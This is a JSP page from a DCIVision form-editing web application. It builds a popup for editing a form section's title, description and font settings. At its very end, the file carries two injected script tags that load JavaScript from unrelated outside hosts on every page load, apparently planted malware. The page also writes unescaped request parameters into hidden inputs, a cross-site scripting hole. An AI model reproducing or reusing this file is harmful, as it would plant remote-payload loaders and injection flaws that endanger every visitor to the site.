<%
/*
 * @(#)EditFormSection.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormSection.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    27/12/2003
    @version          $Revision: 1.44.26.13 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSectionForm" scope="request" class="com.dcivision.form.web.MaintFormSectionForm"/>

<script language="Javascript">
<!--

var colorPicker = new ColorPicker();
var field;

function pickFontColor(anchorname,fieldName) {
  field = document.maintFormSectionForm.elements['sectionFontColor'];
  colorPicker.show(anchorname);
}

function pickColor(color) {
  field.value = color;
}


function OpCustSave() {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
	var frm = document.maintFormSectionForm;
	var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
	
	if (!validateSpecialChar(frm.title, invalidChars, "<bean:message key='form.label.title'/> " + errorMessage)){
	  return (false);
	}
	
  document.maintFormSectionForm.status.value = "<%=FormRecord.FORM_STATUS_PENDING%>";
  OpSave();
  return (false);


}


-->
</script>

<html:form action="form/MaintFormSection" styleClass="form-style-2">
<html:javascript formName="maintFormSectionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
 <%
 if (!Utility.isEmpty(maintFormSectionForm.getFieldName())){
    maintFormSectionForm.setTitle(maintFormSectionForm.getFieldName());
 }
 %>
 <%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   java.util.Date CurrDate=new java.util.Date();
   //String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
    String[][] POS_LABEL_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_center", FormElement.LABEL_POSITION_CENTER},
                                {"form.label.display_type_right", FormElement.LABEL_POSITION_RIGHT}};

   boolean bIsCopy = false, bIsPending = false, bTextOnly = false;
   String navMode = request.getParameter("navMode");
   if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
     bIsCopy = true;
   } else if (GlobalConstant.RECORD_PENDING.equals(maintFormSectionForm.getStatus())) {
     bIsPending = true;
   } else {
     bTextOnly = true;
   }

   // set the formRecordUpdateCount into session
   if (!Utility.isEmpty(request.getParameter("formRecordUpdateCount"))) {
     session.setAttribute("formRecordUpdateCount",request.getParameter("formRecordUpdateCount"));
   }
   // set the formRecordID into session
   if (!Utility.isEmpty(request.getParameter("formRecordID"))) {
     session.setAttribute("formRecordID",request.getParameter("formRecordID"));
   }


   String FONT_TYPE_MAP[][] = new String[8][2];

   for ( int i = 0 ; i < 8 ; i++ ) {
     int j = i + 1;
     FONT_TYPE_MAP[i][0] = "form.label.element_fonts_"+j;
     FONT_TYPE_MAP[i][1] = String.valueOf(j);
   }

   String FONT_SIZE_MAP[][] = new String[23][2];


   for ( int i = 0 ; i < 23 ; i++ ) {
     int j = i + 8;
    // int j = i+1;
     FONT_SIZE_MAP[i][0] = "form.label.font_size_"+j;
     //FONT_SIZE_MAP[i][0] = String.valueOf(j);
     FONT_SIZE_MAP[i][1] = String.valueOf(j);
   }

%>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<input type='hidden' name='formRecordUpdateCount' value='<%=session.getAttribute("formRecordUpdateCount")%>'/>
<input type='hidden' name='formPageID' value='<%=request.getParameter("formPageID")%>'/>
<input type='hidden' name='formRecordID' value='<%=request.getParameter("formRecordID")%>'/>
<layout:popupTitle titleKey ="form.label.form_element_info"/>
<!-- Page Title Section -->
<%
  String currentPageHeight=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?"430px":"480px";
%>
<div class="tabContent" style="height:<%=currentPageHeight%>;">
  <table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
  	<tr>
  	  <td>
        <!-- Section Header -->
        <layout:sectionHeader/>
        <!-- START Form Section -->
      </td>
    </tr>
<tr>
  <td>
  <table>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='form.label.title'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='title' textOnly='<%=bTextOnly%>' size='20' maxlength='30'/>
    &nbsp;&nbsp;<html:select property="sectionPosition">
        <html:options stringArray='<%=POS_LABEL_MAP%>'/>
      </html:select>
    </td>
  </tr>

  <tr>
    <td class="formLabelSmall"><bean:message key='form.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='description' textOnly='<%=bTextOnly%>' size='20' maxlength='65'/></td>
  </tr>

 <!-- Font Type -->
  <tr>
    <td class="formLabelSmall"><bean:message key='form.label.font_type'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="sectionFontType">
        <html:options stringArray='<%=FONT_TYPE_MAP%>'/>
      </html:select>
    </td>
  </tr>

  <tr>
    <td class="formLabelSmall"><bean:message key='form.label.font_color'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <table>
        <tr>
          <td>
            <html:text readonly='true' property='sectionFontColor' textOnly='<%=bTextOnly%>' size='20' maxlength='7'/><A HREF="#" onClick="pickFontColor('pick2','sectionFontColor');return false;" NAME="pick2" ID="pick2">Pick</A>
          </td>
          <td>
            <SCRIPT LANGUAGE="JavaScript">
            <!--
              colorPicker.writeDiv();
            -->
            </SCRIPT>
          </td>
        <tr>
      </table>
    </td>
  </tr>
  <!-- Font Size -->
  <tr>
    <td class="formLabelSmall"><bean:message key='form.label.font_size'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="sectionFontSize">
        <html:options stringArray='<%=FONT_SIZE_MAP%>'/>
      </html:select>px
    </td>
  </tr>
  <tr>
    <% String fStyle=(maintFormSectionForm.getsectionFontStyle()==null)? "" : maintFormSectionForm.getsectionFontStyle();%>
    <td class="formLabelSmall"><bean:message key='form.label.font_style'/>:&nbsp;</td>
    <td class="formFieldSmall">
    &nbsp;<input type="checkbox" name="fontStyleBold" <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%> value="B" <%if(fStyle.indexOf("B")>=0){%>checked<%}%>><bean:message key="form.label.font_style_bold"/><br>
    &nbsp;<input type="checkbox" name="fontStyleUnderline" <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>  value="U" <%if(fStyle.indexOf("U")>=0){%>checked<%}%>><bean:message key="form.label.font_style_underline"/><br>
    &nbsp;<input type="checkbox" name="fontStyleItalic" <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>  value="I" <%if(fStyle.indexOf("I")>=0){%>checked<%}%>><bean:message key="form.label.font_style_italic"/>
    </td>

  </tr>
</table>
</td>
</tr>
  <!-- END Form Section -->
  </table>
</div >
<div>
	<table width="100%">
		<tr>
		  <tr>
          <td colspan="2">
            <div class="sectionLine">&nbsp;</div>
          </td>
        </tr>
		</tr>
		<tr>
      <td colspan="2" style="padding-left:20px;"><layout:auditTrail/></td>
    </tr>
	</table>
</div>
<!-- ==============================The Buttons for Actions Handling============================== -->
<div id="bottomButtonArea">
  <div id="buttonSection">
    <%if (!"VIEWSTRU".equals(request.getParameter("function"))) {%>
      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
        <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
      <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormSectionForm.getOpMode())) {%>
        <logic:permission right='E'>
          <logic:equal name='maintFormSectionForm' property='status' value='<%=FormRecord.FORM_STATUS_PENDING%>'>
            <html:standardButton label="common.label.edit" link="MaintFormSection.do?SHOW_HEADER_FOOTER=N&navMode=E&ID=${maintFormSectionForm.ID}"/>
          </logic:equal>
          <logic:equal name='maintFormSectionForm' property='status' value='<%=FormRecord.FORM_STATUS_RELEASED%>'>
            <html:standardButton label="common.label.edit" disable="true"/>
          </logic:equal>
          <html:standardButton label="common.label.edit" disable="true"/>
        </logic:permission>
      <%}%>
      <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
        <html:hidden property='formRecordID' value='<%=request.getParameter("formRecordID")%>'/>
      <%}%>
      <%if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormSectionForm.getOpMode())){%>
        <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
      <%}else{%>
        <html:standardButton label="common.label.close" link="javascript:window.opener.location='MaintFormSectionFormElement.do?navMode=E&formPageID=${param.formPageID}&formRecordID=${param.formRecordID}';window.close();"/>
      <%}%>
    <%}else{%>
      <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
    <%}%>
  </div>
</div>
</html:form>
<SCRIPT LANGUAGE="JavaScript">
opener.ID.value =document.maintFormSectionForm.ID.value;
opener.formElementName.value =document.maintFormSectionForm.title.value;
opener.formElementType.value ="<%=FormElementType.ELEMENT_SECTION%>";
</SCRIPT>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>